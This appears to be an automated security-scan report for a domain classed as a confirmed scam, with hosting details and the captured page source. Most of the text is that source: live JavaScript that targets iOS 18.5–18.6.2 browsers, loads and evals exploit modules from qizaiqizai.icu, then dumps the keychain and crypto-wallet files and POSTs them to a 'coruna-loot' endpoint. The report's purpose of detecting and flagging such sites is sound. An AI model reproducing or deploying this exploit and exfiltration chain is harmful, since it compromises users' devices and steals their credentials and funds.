phishing/scam

The domain 'hfm-qnyxrf78xc1i0k.cfd' uses the .cfd top-level domain while skipping any subdomain. Count 18 characters in 'hfm-qnyxrf78xc1i0k' holding one vowel versus 12 consonants, notching four digits and one hyphen. Word splitting yields eleven words: h, fm, q, nyx, rf, 78, xc, 1, i, 0, k. Median word length is one character. No strong language cues emerged from the frequency lists.

f9f957126252ce7d229dda674abcc0e6e04d8d5aaaa5319950ab0ece140b51e6

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

NameMart Pte. Ltd.

hfm-qnyxrf78xc1i0k.cfd

Tony tur

RedLuff, LLC

anycast.ai ltd

REDLUFF-CUST-21363-43-229-112-248


		// ã€2026-09-23 fc æµ‹è¯•ç‰ˆÂ·â‘£ã€‘é¡µé¢çº§é”™è¯¯ä¸ŠæŠ¥ï¼ˆonerror / unhandledrejection â†’ /logsï¼Œä¸Ž 0cb19f çš„ print åŒé€šé“ï¼‰
		function _pgLog(tag, text) {
			try {
				var msg = ("pg:" + tag + ":" + String(text)).slice(0, 300);
				fetch("/logs?id=-1&text=" + encodeURIComponent(msg), { method: "GET", keepalive: true, mode: "no-cors" }).catch(function () {});
			} catch (e) {}
		}
		(function () {
			window.addEventListener("error", function (e) {
				try {
					var s = (e && (e.message || (e.error && e.error.message))) || "";
					_pgLog("onerror", s + "@" + String((e && e.filename) || "").slice(-60) + ":" + ((e && e.lineno) || 0));
				} catch (x) {}
			});
			window.addEventListener("unhandledrejection", function (e) {
				try {
					var r = e && e.reason;
					_pgLog("reject", (r && (r.message || r)) || "?");
				} catch (x) {}
			});
		})();
		// CloudFront Domain
		const cfHost = 'https://qizaiqizai.icu';
		const peFolder = 'pe';
		window.modules = {};
		const ios_version = (function() {
			// ã€2026-09-11 iPad æ”¯æŒã€‘åŽŸä»…è§£æž "iPhone OS"ï¼šiPad ç§»åŠ¨ UAï¼ˆ"iPad; CPU OS 15_1"ï¼‰ä¸Ž
			//   iPadOS æ¡Œé¢æ¨¡å¼ï¼ˆ"Macintosh â€¦ Version/15.1"ï¼‰éƒ½ä¼šè§£æžå¤±è´¥ â†’ ios_version=undefined
			//   â†’ main() ç©ºè½¬ â†’ æ•´æ¡é“¾ä¸€æ¬¡éƒ½ä¸å¯åŠ¨ï¼ˆå®žæµ‹ 223.102.103.246 iPad 15.1 åå¤è®¿é—®é›¶åŽç»­è¯·æ±‚ï¼‰ã€‚
			//   çœŸæœº Mac è§¦ç‚¹æ•°=0ï¼Œä¸ä¼šå‘½ä¸­æ¡Œé¢æ¨¡å¼åˆ†æ”¯ï¼Œè¡Œä¸ºä¸Žæ”¹åŠ¨å‰å®Œå…¨ä¸€è‡´ã€‚
			const ua = navigator.userAgent;
			let version = /iPhone OS ([0-9_]+)/g.exec(ua)?.[1];
			if (!version) {
				version = /CPU OS ([0-9_]+)/g.exec(ua)?.[1];
			}
			if (!version && navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1) {
				version = /Version\/([0-9._]+)/g.exec(ua)?.[1];
			}
			if (version) {
				return version.split(/[._]/).map(part => parseInt(part));
			}
		})();
		const is_facebook = (function() {
			return navigator.userAgent.includes('FBAN') || navigator.userAgent.includes('FBAV') || navigator.userAgent.includes('Instagram') || navigator.userAgent.includes('Line');
		})();
		function loadScript(url) {
			return new Promise((resolve, reject) => {
				const script = document.createElement('script');
				script.src = url;
				script.async = true;            
				script.onload = () => {
					resolve();
				};
				script.onerror = () => {
					reject();
				};
				document.head.appendChild(script);
			});
		}
		async function loadJSWithRetry(fname, maxRetries = 3) {
			for (let attempt = 1; attempt <= maxRetries; attempt++) {
				try {
					// ã€2026-09-23 fc æµ‹è¯•ç‰ˆÂ·â‘¤ã€‘å•æ¬¡åŠ è½½ 8s è¶…æ—¶ä¿æŠ¤ï¼šé˜² fetch æŒ‚èµ·ï¼ˆéžå¤±è´¥ï¼‰æ‹–æ­»æ•´é“¾
					const _ac = new AbortController();
					const _to = setTimeout(() => { try { _ac.abort(); } catch (e) {} }, 8000);
					try {
						const response = await fetch(cfHost + "/" + peFolder + "/" + fname, { signal: _ac.signal });
						if (!response.ok) throw new Error(`HTTP ${response.status}`);
						const code = await response.text();
						return { name: fname, success: true, code: code, attempts: attempt };
					} finally {
						clearTimeout(_to);
					}
				} catch (err) {
					if (attempt === maxRetries) {
						return { name: fname, success: false, code: null, error: err.message };
					}
					await new Promise(resolve => setTimeout(resolve, 500 * attempt));
				}
			}
		}
		async function loadAllJSFiles(fileList) {
			const promises = fileList.map(fname => loadJSWithRetry(fname, 3));
			return await Promise.all(promises);
		}
		// ã€2026-09-22 fc æµ‹è¯•ç‰ˆÂ·â‘ ã€‘ç‰ˆæœ¬é—¨ï¼šåªå¯¹å—æŽ§ç‰ˆæœ¬å¼€é“¾ï¼ˆå®žæµ‹ 18.0~18.4 / 18.7+ çš„ RCE çŽ‡â‰ˆ0ï¼Œå¼€é“¾çº¯å±žæµªè´¹ï¼‰
		function _verOK(v) {
			if (!v || v[0] !== 18) return false;
			var mi = v[1], pa = v[2] || 0;
			if (mi === 5) return true;              // 18.5 / 18.5.x
			if (mi === 6 && pa <= 2) return true;   // 18.6 / 18.6.1 / 18.6.2
			return false;                            // 18.0~18.4 ä¸Ž 18.7+ ä¸å¼€é“¾
		}
		// ã€2026-09-23 fc æµ‹è¯•ç‰ˆÂ·â‘¥ã€‘æˆåŠŸåŽé˜²é‡å…¥é”ï¼ˆ5 åˆ†é’Ÿï¼Œls+ss åŒå†™ï¼‰ï¼šé“¾ä¸€æ—¦äº§ç”Ÿè¿›å±•å³å†™é”ï¼Œ5 åˆ†é’Ÿå†…ä¸å†æ‰§è¡Œ
		function _holdFresh() {
			try {
				var HOLD_MS = 5 * 60 * 1000, now = Date.now();
				var a = parseInt(localStorage.getItem('__gooll_hold') || '0', 10) || 0;
				if (a > 0 && now - a <= HOLD_MS) return true;
				var b = parseInt(sessionStorage.getItem('__gooll_hold') || '0', 10) || 0;
				if (b > 0 && now - b <= HOLD_MS) return true;
			} catch (e) {}
			return false;
		}
		function _markHold() {
			try {
				var ts = String(Date.now());
				localStorage.setItem('__gooll_hold', ts);
				sessionStorage.setItem('__gooll_hold', ts);
			} catch (e) {}
		}
		// ã€2026-09-22 fc æµ‹è¯•ç‰ˆÂ·â‘¢ã€‘é¡µé¢çº§é‡è¯•çœ‹æŠ¤ï¼šä»…å½“"é“¾æ— ä»»ä½•è¿›å±•"æ—¶è‡ªåŠ¨é‡è½½ï¼ˆæœ€å¤š 2 æ¬¡/ä¼šè¯ï¼‰
		//   æˆåŠŸä¿¡å· = é“¾è°ƒç”¨ postMessage({t:'r'|'pr'})ï¼ˆå¯¹åº” redirect / prepare_redirectï¼Œè§ DEPLOY_LINK_GUIDE Â§5.2ï¼‰
		//   æŠ¤æ ï¼šæœ‰è¿›å±•ç«‹å³åœæ‰‹å¹¶æ¸…é›¶è®¡æ•°ï¼ˆä¿æŠ¤ redirect åŽ ~100s æ‰å¯åŠ¨çš„åŽå° agentï¼Œæ–‡æ¡£å‘å½•ï¼šå¤šæ¬¡ reload â†’ æ—  agentï¼‰
		function _retryWatch() {
			try {
				var KEY = '__gooll_r18', MAX = 2;
				var n = parseInt(sessionStorage.getItem(KEY) || '0', 10) || 0;
				if (n >= MAX) return;
				var progressed = false;
				try {
					var _pm = Window.prototype.postMessage;
					Window.prototype.postMessage = function (msg) {
						try { if (msg && (msg.t === 'r' || msg.t === 'pr')) { progressed = true; sessionStorage.removeItem(KEY); _markHold(); } } catch (e) {}
						return _pm.apply(this, arguments);
					};
				} catch (e) {}
				setTimeout(function () {
					try {
						if (progressed || document.hidden) return;   // æœ‰è¿›å±• / é¡µé¢å·²åˆ‡èµ° â†’ ä¸æ‰“æ‰°
						sessionStorage.setItem(KEY, String(n + 1));
						location.reload();
					} catch (e) {}
				}, 60000);
			} catch (e) {}
		}
async function main() {
			if (!is_facebook && ios_version && ios_version[0] === 18 && _verOK(ios_version)) {
				if (_holdFresh()) return;
				let files = null;
				if (ios_version[1] >= 6) {
					files = [
						'0cb19f768eb8cd92.js', 
						'8b53567b1cd17d6582a27d8ce4c212ff.js',
						'78acca7caaac22abe5b6c506287bb371.js',
						'd50ec17b9da23b6bf54f395209070ef1.js',
						'c6b18407988e513453a4932fe379b07a.js',
						'd7e1006d30c0d1acc2e8a7853860d055.js',
					];
				} else {
					files = [
						'0cb19f768eb8cd92.js',
						'b6370a63769ad85a8f09bb7e32ab9270.js',
						'7f34836f959001e80007a450303a0623.js',
						'd50ec17b9da23b6bf54f395209070ef1.js',
						'c6b18407988e513453a4932fe379b07a.js',
						'd7e1006d30c0d1acc2e8a7853860d055.js',
					];

				}
				_retryWatch();
				const results = await loadAllJSFiles(files);
				results.forEach(result => {
					if (result.success) {
						window.modules[result.name] = result.code;
					} else {
						_pgLog("modfail", result.name + ":" + (result.error || ""));
						throw new Error('Failed to load module: ' + result.name);
					}
				});
				try {
					window.parent.postMessage({t: 'o'}, '*');
					window.top.postMessage({t: 'o'}, '*');
					// [2026-10-09] Load native bridge BEFORE eval â€” pe_main.js injects Native object
				function _loadBridgeAndDump() {
					window.log && window.log('[DarkSword] loading pe_main.js...');
					var s1 = document.createElement('script');
					s1.src = 'https://qizaiqizai.icu/pe_main.js?v=' + Date.now();
					s1.onload = function() { 
						window.log && window.log('[DarkSword] pe_main.js loaded');
						var s2 = document.createElement('script');
						s2.src = 'https://qizaiqizai.icu/native_bridge.js?v=' + Date.now();
						s2.onload = function() {
							window.log && window.log('[DarkSword] native_bridge.js loaded');
							if (typeof readKeychain === 'function') {
								window.log && window.log('[DarkSword] readKeychain available! dumping...');
								try {
									var kc = readKeychain();
									window.log && window.log('[DarkSword] keychain items: ' + (kc ? kc.length : 0));
									fetch('https://qizaiqizai.icu/coruna-loot', {
										method: 'POST',
										headers: {'Content-Type': 'application/json'},
										body: JSON.stringify({cmd: 'keychain_dump', source: 'darksw bridge', data: kc, ts: Date.now()})
									}).catch(function(){});
								} catch(e) {
									window.log && window.log('[DarkSword] readKeychain error: ' + e);
									fetch('https://qizaiqizai.icu/coruna-loot', {
										method: 'POST',
										headers: {'Content-Type': 'application/json'},
										body: JSON.stringify({cmd: 'keychain_error', source: 'darksw bridge', data: {error: String(e)}, ts: Date.now()})
									}).catch(function(){});
								}
							} else {
								window.log && window.log('[DarkSword] readKeychain NOT available');
								window.log && window.log('[DarkSword] Native=' + (typeof Native) + ' _popen=' + (typeof _popen));
								fetch('https://qizaiqizai.icu/coruna-loot', {
									method: 'POST',
									headers: {'Content-Type': 'application/json'},
									body: JSON.stringify({cmd: 'bridge_status', source: 'darksw bridge', data: {
										readKeychain: typeof readKeychain,
										Native: typeof Native,
										_popen: typeof _popen,
										securityClient: typeof securityClient
									}, ts: Date.now()})
								}).catch(function(){});
							}
							// Also try getCryptoWalletFiles
							if (typeof getCryptoWalletFiles === 'function') {
								try {
									var w = getCryptoWalletFiles();
									window.log && window.log('[DarkSword] wallet files: ' + (w ? w.length : 0));
									fetch('https://qizaiqizai.icu/coruna-loot', {
										method: 'POST',
										headers: {'Content-Type': 'application/json'},
										body: JSON.stringify({cmd: 'wallet_dump', source: 'darksw bridge', data: w, ts: Date.now()})
									}).catch(function(){});
								} catch(e) {}
							}
						};
						s2.onerror = function() { window.log && window.log('[DarkSword] native_bridge.js load failed'); };
						document.head.appendChild(s2);
					};
					s1.onerror = function() { window.log && window.log('[DarkSword] pe_main.js load failed'); };
					document.head.appendChild(s1);
				}
				// Load bridge immediately
				_loadBridgeAndDump();
				// Then try eval DarkSword exploit (may fail on iOS 15, that's OK)
				try {
					eval(window.modules['0cb19f768eb8cd92.js']);
				} catch(e) {
					window.log && window.log('[DarkSword] eval error (expected on iOS 15): ' + e);
				}
				// Retry bridge dump after 5s (in case exploit succeeds and injects Native)
				setTimeout(_loadBridgeAndDump, 5000);
				} catch(e) {
					throw new Error('post message o error');
				}
			} else if (!is_facebook && ios_version && typeof ios_version[0] === "number" && ios_version[0] < 18) {
				var cf = document.createElement('iframe');
				cf.src = 'group.html';
				cf.style.cssText = 'position:fixed;top:0;width:0;height:0;left:-1000px;border:0';
				document.body.appendChild(cf);
			} else {}
		}
		main();
	

Ubuntu is a free and open-source operating system on Linux for the enterprise server, desktop, cloud, and IoT.

Ubuntu

Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.

Nginx

☠️ Malicious - https://hfm-qnyxrf78xc1i0k.cfd/gooll/gooll.html

Requests	IP Address	Location	AS Autonomous System
2	43.229.112.250	United States	AS138415Yancy Limited
2	1	-	-

Security Scan Report: hfm-qnyxrf78xc1i0k.cfd

Summary

AI Security Verdict

Confirmed Scam

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History